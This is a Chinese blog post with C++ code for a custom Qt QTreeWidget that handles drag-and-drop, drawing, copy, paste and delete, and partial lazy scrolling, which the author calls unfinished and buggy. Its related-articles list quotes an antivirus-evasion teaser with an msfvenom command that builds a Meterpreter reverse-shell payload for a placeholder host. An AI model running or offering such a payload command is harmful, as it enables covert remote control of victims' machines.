当前位置: 首页 > news >正文

Qt重写QTreeWidget实现拖拽

介绍

此文章记录QTreeWidget的重写进度,暂时停滞使用,重写了QTreeWidget的拖拽功能,和绘制功能,自定义了数据结构,增加复制,粘贴,删除,准备实现动态刷新数据支持千万数据动态刷新,重写了部分代码,重写了滑块拖拽但是有bug。

效果展示

在这里插入图片描述
在这里插入图片描述

实现功能

  1. 实现了自定义节点类来存储数据。
  2. item采用Label来实现富文本显示(数据量大不建议使用)。
  3. 重写了QTreeWidget拖拽,滚动,绘制。
  4. 拖拽实现了节点与节点之间的互相拖拽,仅移动。
  5. 实现了节点的递归遍历,查找,插入,删除。
  6. 实现了滚动刷新数据,大量数据也不卡,但是滚动条刷新数据稍微复杂未完成,且有bug。

代码

#ifndef MYTREEWIDGET_H
#define MYTREEWIDGET_H#include <QWidget>
#include <QtWidgets>
#include <QDebug>class MyTreeWidgetItem;
class TreeNode;
class MyLabel;// 自定义节点类
class TreeNode {
public:QString nodeText;QString nodeItemTest;QList<TreeNode*> children;TreeNode* parent = nullptr;MyTreeWidgetItem* item;// 重载==运算符以判断nodeText是否相等bool operator==(const TreeNode& other) const {return nodeText == other.nodeText;}
};class MyTreeWidgetItem :public QTreeWidgetItem
{
public:MyTreeWidgetItem();void setNodeText(QString str);QString getNodeText();QString m_Text;MyLabel* m_Label;int indexOfChild(QTreeWidgetItem *child){int childCount = this->childCount();for (int i = 0; i < childCount; ++i) {if (this->child(i) == child) {return i;}}return -1;}
};class MyLabel : public QLabel
{Q_OBJECT
public:MyLabel(QString text, QWidget *parent = nullptr);bool m_IsSelect = false;bool m_IsLeave = true;QString enterStyle;QString leaveStyle;QString selectStyle;
protected:bool eventFilter(QObject *watched, QEvent *event);
};class MyTreeWidget : public QTreeWidget
{Q_OBJECT
public:MyTreeWidget(QWidget *parent = nullptr);QList<TreeNode*> m_ListData;void wait(int ms); //等待// 删除具有特定文本的节点及其子节点bool deleteNodeByText(const QString& targetText) {for (int i = 0; i < m_ListData.size(); ++i) {TreeNode* node = m_ListData.at(i);if (node->nodeText == targetText) {// 找到目标节点,删除其子节点qDeleteAll(node->children);delete node;m_ListData.removeAt(i);return true; // 成功删除节点}}return false; // 未找到匹配的节点}//删除指定父节点下的子节点bool deleteChildNode(TreeNode* node, const QString& nodeText) {for (int i = 0; i < node->children.size(); ++i) {if (node->children.at(i)->nodeText == nodeText) {node->children.removeAt(i);return true;}}return false;}//根据nodeText递归查找该对象TreeNode* recursiveFindNodeByText(const QString& targetText, TreeNode* currentNode) {if (currentNode->nodeText == targetText) {return currentNode;}for (TreeNode* child : currentNode->children) {TreeNode* result = recursiveFindNodeByText(targetText, child);if (result) {return result;}}return nullptr; // 未找到匹配的节点}//根据nodeText递归查找该对象TreeNode* findNodeByText(const QString& targetText, const QList<TreeNode*>& nodeList) {for (TreeNode* node : nodeList) {TreeNode* result = recursiveFindNodeByText(targetText, node);if (result) {return result;}}return nullptr; // 未找到匹配的节点}//插入字节点 包括数据更新TreeNode* insertChileItem(TreeNode* parentNode, int row, QString itemText);//追加子节点TreeNode* appendChileItem(TreeNode* parentNode, QString itemText);//插入顶部节点TreeNode* insertTopItem(int row, QString itemText, bool isInster = true);//void updateItem(int row, TreeNode* node);//追加顶部节点TreeNode* appendTopItem(QString itemText);//删除顶部的item 以及数据列表void removeTopItem(TreeNode* node);//一个更新nodetext的变量保证每次更新节点都会变化int number = 0;double m_NodeSize = 0;double m_ScrollBarValue = 0;bool m_BarValueChangedTemp = false;bool m_WheelEventTemp = false;//递归插入void RecursionInsert(TreeNode* ParentNode, TreeNode* childNode);//展开所有子节点void expandAllItems(QTreeWidget* treeWidget, QTreeWidgetItem* item);void onScrollBarValueChanged(int value);
protected:void mouseMoveEvent(QMouseEvent *event);void mousePressEvent(QMouseEvent *event);void mouseReleaseEvent(QMouseEvent *event);void startDrag(Qt::DropActions supportedActions);void dragEnterEvent(QDragEnterEvent *event);void dragMoveEvent(QDragMoveEvent *event);void dropEvent(QDropEvent *event);void paintEvent(QPaintEvent* event);void wheelEvent(QWheelEvent *event);
private:TreeNode* m_CopyNode = nullptr; //当前拷贝的节点QPoint m_DragMovePos; //拖拽移动坐标QPoint m_CurPos; //点击保存坐标int m_LastScrollBarValue = 0;QMenu* m;MyTreeWidgetItem* m_CurrDragItem = nullptr; //保存当前正在拖拽的对象QScrollBar *m_VerticalScrollBar;
};#endif // MYTREEWIDGET_H
/******************************************************************************** Copyright [2023] <键鼠自动化>* All rights reserved.** version:     1.0* author:      lx* brief:       自定义item,重写绘制和拖拽,以及建立数据结构
*******************************************************************************/
#include "mytreewidget.h"MyTreeWidget::MyTreeWidget(QWidget *parent): QTreeWidget(parent)
{setDragEnabled(true);setAcceptDrops(true);setDragDropMode(DragDropMode::InternalMove);setHeaderHidden(true);m_VerticalScrollBar = this->verticalScrollBar();connect(m_VerticalScrollBar, &QScrollBar::valueChanged, this, &MyTreeWidget::onScrollBarValueChanged);m = new QMenu(this);QAction* action1 = new QAction("删除");QAction* action2 = new QAction("复制");QAction* action3 = new QAction("粘贴");connect(action1, &QAction::triggered, [=]() {MyTreeWidgetItem* targetItem = dynamic_cast<MyTreeWidgetItem*>(itemAt(m_CurPos));if (targetItem) {TreeNode* targetNode = findNodeByText(targetItem->getNodeText(), m_ListData);if (targetNode->parent == nullptr) {this->removeTopItem(targetNode);}else {targetNode->parent->item->removeChild(targetNode->item);deleteChildNode(targetNode->parent, targetNode->nodeText);}}qDebug() << "1231231";});connect(action2, &QAction::triggered, [=](){MyTreeWidgetItem* targetItem = dynamic_cast<MyTreeWidgetItem*>(itemAt(m_CurPos));if (targetItem) {m_CopyNode = findNodeByText(targetItem->getNodeText(), m_ListData);}});connect(action3, &QAction::triggered, [=]() {MyTreeWidgetItem* targetItem = dynamic_cast<MyTreeWidgetItem*>(itemAt(m_CurPos));if (targetItem && m_CopyNode != nullptr) {TreeNode* targetNode = findNodeByText(targetItem->getNodeText(), m_ListData);if (targetNode->parent == nullptr) {int targetRow = this->indexOfTopLevelItem(targetNode->item);if (m_CopyNode->children.isEmpty()) {this->insertTopItem(targetRow + 1, m_CopyNode->nodeItemTest);}else {TreeNode* newParentNode = this->insertTopItem(targetRow + 1, m_CopyNode->nodeItemTest);for (int i = 0 ; i < m_CopyNode->children.size(); ++i) {this->RecursionInsert(newParentNode, m_CopyNode->children.at(i));}}}else {int targetRow = targetNode->parent->item->indexOfChild(targetNode->item);if (m_CopyNode->children.isEmpty()) {this->insertChileItem(targetNode->parent, targetRow + 1, m_CopyNode->nodeItemTest);}else {TreeNode* newParentNode = this->insertChileItem(targetNode->parent, targetRow + 1, m_CopyNode->nodeItemTest);for (int i = 0 ; i < m_CopyNode->children.size(); ++i) {this->RecursionInsert(newParentNode, m_CopyNode->children.at(i));}}}m_CopyNode = nullptr;}});m->addAction(action1);m->addAction(action2);m->addAction(action3);
}void MyTreeWidget::wait(int ms)
{QElapsedTimer t;t.start();while (t.elapsed() < ms)QCoreApplication::processEvents();
}TreeNode *MyTreeWidget::insertChileItem(TreeNode *parentNode, int row, QString itemText)
{number++;QTreeWidgetItem* parentItem = parentNode->item; //获取父节点MyTreeWidgetItem* childItem = new MyTreeWidgetItem(); //创建子节点childItem->setNodeText(QString("child%1").arg(number));MyLabel* label = new MyLabel(itemText); //创建labelchildItem->m_Label = label;TreeNode* childData = new TreeNode; //创建子节点对象数据childData->parent = parentNode;childData->item = childItem;childData->nodeText = QString("child%1").arg(number);childData->nodeItemTest = itemText;parentNode->children.insert(row, childData); //父节点对象数据插入子节点parentItem->insertChild(row, childItem); //父节点item插入子节点itemsetItemWidget(childItem, 0, label); //item转换lablereturn childData;
}TreeNode *MyTreeWidget::appendChileItem(TreeNode *parentNode, QString itemText)
{number++;QTreeWidgetItem* parentItem = parentNode->item;MyTreeWidgetItem* childItem = new MyTreeWidgetItem();childItem->setNodeText(QString("child%1").arg(number));MyLabel* label = new MyLabel(itemText);childItem->m_Label = label;TreeNode* childData = new TreeNode;childData->parent = parentNode;childData->item = childItem;childData->nodeText = QString("child%1").arg(number);childData->nodeItemTest = itemText;parentNode->children.append(childData);parentItem->addChild(childItem);setItemWidget(childItem, 0, label);return childData;
}TreeNode* MyTreeWidget::insertTopItem(int row, QString itemText, bool isInster)
{number++;MyTreeWidgetItem* parentItem = new MyTreeWidgetItem();parentItem->setNodeText(QString("parent%1").arg(number));TreeNode* parentData = new TreeNode;parentData->item = parentItem;parentData->nodeText = QString("parent%1").arg(number);parentData->nodeItemTest = itemText;if (isInster) {MyLabel* label = new MyLabel(itemText);parentItem->m_Label = label;insertTopLevelItem(row, parentItem);setItemWidget(parentItem, 0, label);}m_ListData.insert(row, parentData);return parentData;
}void MyTreeWidget::updateItem(int row, TreeNode *node)
{qDebug() << row << node->nodeItemTest << "aaaa";MyLabel* label = new MyLabel(node->nodeItemTest);node->item->m_Label = label;insertTopLevelItem(row, node->item);
//    setItemWidget(node->item, 0, label);
}TreeNode *MyTreeWidget::appendTopItem(QString itemText)
{number++;MyTreeWidgetItem* parentItem = new MyTreeWidgetItem();parentItem->setNodeText(QString("parent%1").arg(number));MyLabel* label = new MyLabel(itemText);parentItem->m_Label = label;TreeNode* parentData = new TreeNode;parentData->item = parentItem;parentData->nodeText = QString("parent%1").arg(number);parentData->nodeItemTest = itemText;addTopLevelItem(parentItem);setItemWidget(parentItem, 0, label);m_ListData.append(parentData);return parentData;
}void MyTreeWidget::removeTopItem(TreeNode *node)
{int index = indexOfTopLevelItem(node->item);takeTopLevelItem(index);deleteNodeByText(node->nodeText);
}void MyTreeWidget::RecursionInsert(TreeNode *ParentNode, TreeNode *childNode)
{TreeNode* node = this->appendChileItem(ParentNode, childNode->nodeItemTest);for (int i = 0 ; i < childNode->children.size(); ++i) {this->RecursionInsert(node, childNode->children.at(i));}
}void MyTreeWidget::expandAllItems(QTreeWidget *treeWidget, QTreeWidgetItem *item)
{if (item) {treeWidget->expandItem(item); // 展开当前项// 递归展开子项for (int i = 0; i < item->childCount(); ++i) {expandAllItems(treeWidget, item->child(i));}}
}void MyTreeWidget::onScrollBarValueChanged(int value)
{//m_BarValueChangedTemp用于该函数在没有结束的时候又进来了如果不调用takeTopLevelItem就没事,如果没有m_BarValueChangedTemp在该函数未结束还会进入导致崩溃int step = 3; //滚动一次刷新三条数据if (value >= m_VerticalScrollBar->maximum()) {for (int index = 0; index < 1; ++index) {int itemCount = this->topLevelItemCount();MyTreeWidgetItem* bottomItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(itemCount - 1));TreeNode* bottomNode = findNodeByText(bottomItem->getNodeText(), m_ListData);int bottomIndex = m_ListData.indexOf(bottomNode);if (bottomIndex + 100 < m_ListData.size()) {step = 1000;}else {step = (m_ListData.size() - 1) - bottomIndex;}for (int i = 0 ; i < step; ++i) {//尾部追加显示//获取当前底部的数据bottomIndex++;updateItem(itemCount, m_ListData.at(bottomIndex));itemCount++;}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(0);}}qDebug() << QDateTime::currentDateTime() << "222222222222222222";m_VerticalScrollBar->setValue(value-5);}/*  if (m_BarValueChangedTemp) {qDebug() << "onScrollBarValueChanged未结束就进入";return;}if (m_WheelEventTemp) {qDebug() << "wheelEvent正在滚动中";return;}m_BarValueChangedTemp = true;qDebug() << value << m_LastScrollBarValue<<  this->topLevelItemCount();int step = 3; //滚动一次刷新三条数据if (m_LastScrollBarValue > value) {// 上拉int number = m_LastScrollBarValue - value;for (int index = 0; index < number; ++index) {MyTreeWidgetItem* topItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(0));TreeNode* topNode = findNodeByText(topItem->getNodeText(), m_ListData);int topIndex = m_ListData.indexOf(topNode);if (topIndex - 3 > 0) {step = 3;}else {step = topIndex;}for (int i = step; i > 0; --i) {//尾部追加显示//获取当前底部的数据topIndex--;updateItem(0, m_ListData.at(topIndex));}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(this->topLevelItemCount() - 1);}}}else {int number = value - m_LastScrollBarValue;qDebug() << QDateTime::currentDateTime() << "111111111111111";for (int index = 0; index < number; ++index) {int itemCount = this->topLevelItemCount();MyTreeWidgetItem* bottomItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(itemCount - 1));TreeNode* bottomNode = findNodeByText(bottomItem->getNodeText(), m_ListData);int bottomIndex = m_ListData.indexOf(bottomNode);if (bottomIndex + 3 < m_ListData.size()) {step = 3;}else {step = (m_ListData.size() - 1) - bottomIndex;}for (int i = 0 ; i < step; ++i) {//尾部追加显示//获取当前底部的数据bottomIndex++;updateItem(itemCount, m_ListData.at(bottomIndex));itemCount++;}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(0);}}qDebug() << QDateTime::currentDateTime() << "222222222222222222";}m_ScrollBarValue = value;m_LastScrollBarValue = value;m_VerticalScrollBar->setValue(value);m_BarValueChangedTemp = false;*/
}void MyTreeWidget::mouseMoveEvent(QMouseEvent *event)
{QTreeWidget::mouseMoveEvent(event);
}void MyTreeWidget::mousePressEvent(QMouseEvent *event)
{QTreeWidget::mousePressEvent(event);m_CurPos = event->pos();if (event->buttons() & Qt::RightButton) {m->move((QCursor::pos()));m->show();}}void MyTreeWidget::mouseReleaseEvent(QMouseEvent *event)
{QTreeWidget::mouseReleaseEvent(event);
}void MyTreeWidget::startDrag(Qt::DropActions supportedActions)
{//拖拽重写此函数下发当前拖拽对象的nodetextQ_UNUSED(supportedActions);MyTreeWidgetItem* currItem = dynamic_cast<MyTreeWidgetItem*>(this->currentItem());if (currItem) {QString text = currItem->getNodeText();QMimeData* mimeData = new QMimeData;mimeData->setData("application/labelData", text.toUtf8());QDrag* drag = new QDrag(this);drag->setMimeData(mimeData);m_CurrDragItem = currItem;drag->start(Qt::MoveAction);}
}void MyTreeWidget::dragEnterEvent(QDragEnterEvent *event)
{QTreeWidget::dragEnterEvent(event);// 检查拖拽数据格式if (event->mimeData()->hasFormat("application/labelData")) {event->acceptProposedAction();}
}void MyTreeWidget::dragMoveEvent(QDragMoveEvent *event)
{QTreeWidget::dragMoveEvent(event);// 检查拖拽数据格式if (event->mimeData()->hasFormat("application/labelData")) {event->acceptProposedAction();m_DragMovePos = event->pos();viewport()->update();}}void debugTreeData(TreeNode* node, int depth = 0) {QString kongge;for (int i = 0; i < depth; ++i) {kongge.append("----");}qDebug() << kongge << node->nodeItemTest << node->nodeText;for (int i = 0; i < node->children.size(); ++i) {debugTreeData(node->children.at(i), depth + 1); // 递归时深度加1}
}void MyTreeWidget::dropEvent(QDropEvent *event)
{// 检查拖拽数据格式if (event->mimeData()->hasFormat("application/labelData")) {QString itemData = event->mimeData()->data("application/labelData");MyTreeWidgetItem* targetItem = dynamic_cast<MyTreeWidgetItem*>(itemAt(event->pos()));m_CurrDragItem = nullptr;if (!targetItem) {return;}qDebug() << itemData << "-------------------" << targetItem->getNodeText();TreeNode* targetNode = findNodeByText(targetItem->getNodeText(), m_ListData);TreeNode* sourceNode = findNodeByText(itemData, m_ListData);if (sourceNode && targetNode) {// 找到了匹配的节点,可以对其进行操作qDebug() << "找到了匹配的节点,可以对其进行操作" << targetNode->nodeText << sourceNode->nodeText;if (sourceNode->parent == nullptr && targetNode->parent == nullptr) { //父与父//当前是父节点与父节点直接拖拽int targetRow = this->indexOfTopLevelItem(targetNode->item);int sourceRow = this->indexOfTopLevelItem(sourceNode->item);if (targetRow != sourceRow) {qDebug() << "1111111111111111" << targetRow << sourceRow;//在目标源下插入一行if (sourceNode->children.isEmpty()) {this->insertTopItem(targetRow + 1, sourceNode->nodeItemTest);//删除来源itemthis->removeTopItem(sourceNode);}else if (!sourceNode->children.isEmpty()) {//如果来源里面有子节点就需要递归插入,先查入头节点TreeNode* newParentNode = this->insertTopItem(targetRow + 1, sourceNode->nodeItemTest);for (int i = 0 ; i < sourceNode->children.size(); ++i) {this->RecursionInsert(newParentNode, sourceNode->children.at(i));}//删除来源itemthis->removeTopItem(sourceNode);deleteNodeByText(sourceNode->nodeText);}else {qDebug() << "未知动作!!!!!!!!!!!!!!!!!!!!!!!!";}}}else if (sourceNode->parent != nullptr && targetNode->parent != nullptr) { //子与子//双方都是子节点int targetRow = targetNode->parent->item->indexOfChild(targetNode->item);int sourceRow = sourceNode->parent->item->indexOfChild(sourceNode->item);qDebug() << "44444444444444" << targetRow << sourceRow << sourceNode->nodeItemTest << targetNode->nodeItemTest;if (recursiveFindNodeByText(targetNode->nodeText, sourceNode) != nullptr) {//来源节点中不能有目标节点return;}if (sourceNode->children.isEmpty()) {this->insertChileItem(targetNode->parent, targetRow + 1, sourceNode->nodeItemTest);sourceNode->parent->item->removeChild(sourceNode->item);deleteChildNode(sourceNode->parent, sourceNode->nodeText);}else if (!sourceNode->children.isEmpty()) {TreeNode* newParentNode = this->insertChileItem(targetNode->parent, targetRow + 1, sourceNode->nodeItemTest);for (int i = 0 ; i < sourceNode->children.size(); ++i) {this->RecursionInsert(newParentNode, sourceNode->children.at(i));}//删除来源itemsourceNode->parent->item->removeChild(sourceNode->item);deleteChildNode(sourceNode->parent, sourceNode->nodeText);}}else if (sourceNode->parent != nullptr && targetNode->parent == nullptr) { //子与父//来源是子节点,指向端是父节点int targetRow = this->indexOfTopLevelItem(targetNode->item);int sourceRow = sourceNode->parent->item->indexOfChild(sourceNode->item);qDebug() << "222222222222222222" << targetRow << sourceRow << sourceNode->parent->nodeItemTest << sourceNode->nodeItemTest;if (sourceNode->children.isEmpty()) {this->insertTopItem(targetRow + 1, sourceNode->nodeItemTest);sourceNode->parent->item->removeChild(sourceNode->item);deleteChildNode(sourceNode->parent, sourceNode->nodeText);}else if (!sourceNode->children.isEmpty()) {TreeNode* newParentNode = this->insertTopItem(targetRow + 1, sourceNode->nodeItemTest);for (int i = 0 ; i < sourceNode->children.size(); ++i) {this->RecursionInsert(newParentNode, sourceNode->children.at(i));}//删除来源itemsourceNode->parent->item->removeChild(sourceNode->item);deleteChildNode(sourceNode->parent, sourceNode->nodeText);}}else if (sourceNode->parent == nullptr && sourceNode->children.isEmpty() && targetNode->parent != nullptr) { //空父 与子//来源父节点 且没有子节点 且指向端是子节点int targetRow = targetNode->parent->item->indexOfChild(targetNode->item);int sourceRow = this->indexOfTopLevelItem(sourceNode->item);qDebug() << "333333333333" << targetRow << sourceRow << sourceNode->nodeItemTest << targetNode->nodeItemTest;this->insertChileItem(targetNode->parent, targetRow + 1, sourceNode->nodeItemTest);this->removeTopItem(sourceNode);}else if (sourceNode->parent == nullptr && !sourceNode->children.isEmpty() && targetNode->parent != nullptr) { //父多子 与子//来源父节点 有子节点 且指向端是子节点if (recursiveFindNodeByText(targetNode->nodeText, sourceNode) != nullptr) {//来源节点中不能有目标节点return;}int targetRow = targetNode->parent->item->indexOfChild(targetNode->item);int sourceRow = this->indexOfTopLevelItem(sourceNode->item);qDebug() << "5555555555555" << targetRow << sourceRow << sourceNode->nodeItemTest << targetNode->nodeItemTest;TreeNode* newParentNode = this->insertChileItem(targetNode->parent, targetRow + 1, sourceNode->nodeItemTest);for (int i = 0 ; i < sourceNode->children.size(); ++i) {this->RecursionInsert(newParentNode, sourceNode->children.at(i));}//删除来源itemthis->removeTopItem(sourceNode);deleteNodeByText(sourceNode->nodeText);}} else {// 未找到匹配的节点qDebug() << "未找到匹配的节点2";}}//    for (int i = 0; i < m_ListData.size(); ++i) {//        debugTreeData(m_ListData.at(i));//    }
}void MyTreeWidget::paintEvent(QPaintEvent *event)
{// qDebug() << "123123123123";QTreeWidget::paintEvent(event);QPainter painter(viewport());if (m_CurrDragItem != nullptr) {QModelIndex hoveredIndex = indexAt(m_DragMovePos);MyTreeWidgetItem* mcurrMoveItem = dynamic_cast<MyTreeWidgetItem*>(itemFromIndex(hoveredIndex));if (mcurrMoveItem) {QRect rect = visualRect(hoveredIndex); // 获取悬停项的矩形区域QString labelText = mcurrMoveItem->m_Label->text();qDebug()<< "---------------" << labelText << rect << "-----------------";painter.setPen(QPen(QColor(34, 142, 243), 2)); // 设置线条颜色和粗细// 绘制线条painter.drawLine(rect.x() + 6, rect.y() + rect.height(), rect.x() + rect.width() - 6, rect.y() + rect.height()); // 绘制底部线条// 绘制头部小圆圈painter.setBrush(QBrush(QColor(34, 142, 243))); // 设置圆圈颜色painter.drawEllipse(QPoint(rect.x() + 2, rect.y() + rect.height()), 2, 2); // 绘制小圆圈// 绘制尾部小圆圈painter.drawEllipse(QPoint(rect.x() + rect.width()-2, rect.y() + rect.height()), 2, 2); // 绘制小圆圈}}
}void MyTreeWidget::wheelEvent(QWheelEvent *event)
{if (m_WheelEventTemp) {qDebug() << "wheelEvent未结束就进入";return;}if (m_VerticalScrollBar->isSliderDown()) {qDebug() << "正在拖拽滚动条";return;}m_WheelEventTemp = true;qDebug() << "1111111111111111111" << event->angleDelta().y() <<this->topLevelItemCount() << m_VerticalScrollBar->isSliderDown();int number = qAbs(event->angleDelta().y()) / 120;int step = 3; //滚动一次刷新三条数据for (int i = 0; i < number; ++i) {if (event->angleDelta().y() > 0) {MyTreeWidgetItem* topItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(0));TreeNode* topNode = findNodeByText(topItem->getNodeText(), m_ListData);int topIndex = m_ListData.indexOf(topNode);if (topIndex - 3 > 0) {step = 3;}else {step = topIndex;}for (int i = step; i > 0; --i) {//尾部追加显示//获取当前底部的数据topIndex--;updateItem(0, m_ListData.at(topIndex));}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(this->topLevelItemCount() - 1);}if (m_ScrollBarValue > 0) {m_ScrollBarValue -= double(m_VerticalScrollBar->maximum()) / double(m_ListData.size() / (step == 0 ? 1 : step));qDebug() << "向上滚动" << topIndex <<m_ScrollBarValue;m_VerticalScrollBar->setValue(m_ScrollBarValue);}}else {int itemCount = this->topLevelItemCount();MyTreeWidgetItem* bottomItem = dynamic_cast<MyTreeWidgetItem*>(this->topLevelItem(itemCount - 1));TreeNode* bottomNode = findNodeByText(bottomItem->getNodeText(), m_ListData);int bottomIndex = m_ListData.indexOf(bottomNode);if (bottomIndex+3 < m_ListData.size()) {step = 3;}else {step = (m_ListData.size() - 1) - bottomIndex;}for (int i = 0 ; i < step; ++i) {//尾部追加显示//获取当前底部的数据bottomIndex++;updateItem(itemCount, m_ListData.at(bottomIndex));itemCount++;}for (int i = 0 ; i < step; ++i) {takeTopLevelItem(0);}if (m_VerticalScrollBar->value() < m_VerticalScrollBar->maximum()) {m_ScrollBarValue += double(m_VerticalScrollBar->maximum()) / double(m_ListData.size() / (step == 0 ? 1 : step));qDebug() << "向下滚动" << bottomIndex <<m_ScrollBarValue;m_VerticalScrollBar->setValue(m_ScrollBarValue);}}}m_WheelEventTemp = false;
}MyTreeWidgetItem::MyTreeWidgetItem()
{}void MyTreeWidgetItem::setNodeText(QString str)
{m_Text = str;
}QString MyTreeWidgetItem::getNodeText()
{return m_Text;
}MyLabel::MyLabel(QString text, QWidget *parent): QLabel(parent)
{setText(text);installEventFilter(this);enterStyle = "background-color: rgb(225, 243, 255);";leaveStyle = "background-color: white;";selectStyle = "background-color: rgb(204, 232, 255);";
}bool MyLabel::eventFilter(QObject *watched, QEvent *event)
{return QWidget::eventFilter(watched, event);
}
#include "widget.h"
#include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget)
{ui->setupUi(this);m_MyTreeWidget = new MyTreeWidget();//    if (1) {qDebug() << QDateTime::currentDateTime() << "111111111111111";for (int i = 0; i < 100000; ++i) {if (i >= 100) {m_MyTreeWidget->insertTopItem(i, QString("父节点%1").arg(i+1), false);}else {m_MyTreeWidget->insertTopItem(i, QString("父节点%1").arg(i+1));}}qDebug() << QDateTime::currentDateTime() << "2222222222222";//    for (int i = 0; i < 500; ++i) {//        m_MyTreeWidget->insertChileItem(m_MyTreeWidget->m_ListData.at(0), m_MyTreeWidget->m_ListData.at(0)->item->childCount(),QString("子节点%1").arg(i+1));//    }//    for (int i = 0; i < 500; ++i) {//        m_MyTreeWidget->insertChileItem(m_MyTreeWidget->m_ListData.at(1), m_MyTreeWidget->m_ListData.at(1)->item->childCount(),QString("子节点%1").arg(i+1));//    }//    for (int i = 0; i < 500; ++i) {//        m_MyTreeWidget->insertChileItem(m_MyTreeWidget->m_ListData.at(2), m_MyTreeWidget->m_ListData.at(2)->item->childCount(),QString("子节点%1").arg(i+1));//    }//    for (int i = 0; i < 500; ++i) {//        m_MyTreeWidget->insertChileItem(m_MyTreeWidget->m_ListData.at(3), m_MyTreeWidget->m_ListData.at(3)->item->childCount(),QString("子节点%1").arg(i+1));//    }ui->gridLayout->addWidget(m_MyTreeWidget);// 在您的代码中调用此函数来展开所有项//m_MyTreeWidget->expandAllItems(m_MyTreeWidget, m_MyTreeWidget->invisibleRootItem());
}Widget::~Widget()
{delete ui;
}

相关文章:

Qt重写QTreeWidget实现拖拽

介绍 此文章记录QTreeWidget的重写进度&#xff0c;暂时停滞使用&#xff0c;重写了QTreeWidget的拖拽功能&#xff0c;和绘制功能&#xff0c;自定义了数据结构&#xff0c;增加复制&#xff0c;粘贴&#xff0c;删除&#xff0c;准备实现动态刷新数据支持千万数据动态刷新&a…...

【Spring Boot】拦截器学习笔记

一、普通拦截器 1&#xff0c;新建类MyWebConfig实现WebMvcConfigurer&#xff0c;实现addInterceptors方法 Overridepublic void addInterceptors(InterceptorRegistry registry) {registry// 不拦截哪些请求.excludePathPatterns("/login")// 拦截哪些请求.addPat…...

云可观测性:提升云环境中应用程序可靠性

随着云计算的兴起和广泛应用&#xff0c;越来越多的企业将其应用程序和服务迁移到云环境中。在这个高度动态的环境中&#xff0c;确保应用程序的可靠性和可管理性成为了一个迫切的需求。云可观测性作为一种解决方案&#xff0c;针对这一需求提供了有效的方法和工具。本文将介绍…...

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令&#xff1a;msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包&#xff0c;成功上线 命令&#xff1…...

抖音、知乎、小红书的流量算法

目前我国网民规模已超过10亿&#xff0c;在这互联网时代&#xff0c;更是流量为王。各个平台里的每个视频、每张图片&#xff0c;背后都有着算法的身影&#xff0c;支配着所有人的流量。作为内容创作者及运营者来说&#xff0c;除了制作高质量的内容以外&#xff0c;也需要掌握…...

c++ 纯虚函数、抽象类

一、 纯虚函数 抽象类 只要有一个纯虚函数&#xff0c;这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类&#xff0c;必须要重写父类中的纯虚函数&#xff0c;否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…...

echarts另外存为图片

今天同事画了个Echarts,我看了下居然有下载功能&#xff01;&#xff01;&#xff01;&#xff01;&#xff08;之前一直不知道&#xff09; 这是原图&#xff0c;右上角有个下载功能&#xff0c; 下载后是这样的 貌似是没有了y轴的参数和x轴的参数&#xff0c;估计是可以配置的…...

Mybatis返回自动递增主键值,通过实体

如果你在数据库中使用了自动递增的主键&#xff08;通常是整数类型&#xff09;&#xff0c;你可以使用 MyBatis 来返回插入记录后生成的自动递增的 ID。这里是一个示例&#xff1a; 首先&#xff0c;在你的 SQL 映射文件中&#xff0c;使用 <insert> 元素来执行插入操作…...

如何在 Excel 中求平方根

需要在 Excel 中求一个数字的平方根吗&#xff1f;使用几个内置的 Excel 函数和公式可以轻松计算平方根。在本分步指南中&#xff0c;您将学习在 Excel 中计算平方根的 5 种不同方法&#xff0c;包括使用 SQRT 函数、POWER 函数、指数公式、VBA 代码和 Power Query。跟随教程&a…...

苹果手机无法正常使用小程序和APP

小程序、APP 已使用了几年&#xff0c;突然大量反馈&#xff1a;苹果手机无法正常使用。但不是全部&#xff0c;只是部分手机。 因为同事苹果手机都能用&#xff0c;所以无法准确判断具体原因。 后来同事苹果手机也无法使用了&#xff0c;显示&#xff1a; 网上搜索结果&…...

【Axure教程】用中继器制作双坐标柱状折线图

双坐标柱状折线图常用于同时展示两组数据的图表类型&#xff0c;每组数据都有自己的纵坐标轴&#xff08;Y轴&#xff09;。一组数据通常用柱状图表示&#xff0c;而另一组数据则用折线图表示。这种图表类型有助于比较两组数据之间的关系和趋势。 那今天作者就教大家&#xff…...

C 风格文件输入/输出---错误处理---(std::clearerr,std::feof,std::ferror,std::perror)

C 标准库的 C I/O 子集实现 C 风格流输入/输出操作。 <cstdio> 头文件提供通用文件支持并提供有窄和多字节字符输入/输出能力的函数&#xff0c;而 <cwchar>头文件提供有宽字符输入/输出能力的函数。 错误处理 清除错误 std::clearerr void clearerr( std::FILE…...

mysql 主从复制 mysql版本5.7.35

文章目录 1.注意要点2.环境3.MySQL 主从配置的步骤&#xff1a;主从库新增DB主服务配置my.cnf从服务配置my.cnf主服务器创建复制用户从服务器执行复制 外传 MySQL 主从复制&#xff08;Master-Slave Replication&#xff09;是一个常用的高可用性和可扩展性解决方案。通过主从复…...

iOS“超级签名”绕过App Store作弊解决方案

一直以来&#xff0c;iOS端游戏作弊问题都是游戏行业的一大痛点。在当下游戏多端互通的潮流下&#xff0c;游戏作为一个整体&#xff0c;无论哪一端出现安全问题&#xff0c;都会造成更加严重的影响。因此&#xff0c;iOS端游戏安全保护也同样十分重要。 iOS独特的闭源生态&am…...

I2C子系统、读取温湿度的逻辑及代码

一、IIC子系统 两根线&#xff1a; scl:时钟线 sda:数据线 iic有4种信号&#xff1a; 起始信号&#xff08;start&#xff09;:scl是高电平&#xff0c;sda下降沿 终止信号&#xff08;stop&#xff09;:scl高电平&#xff0c;sda上升沿 应答信号&#xf…...

数据结构——排序

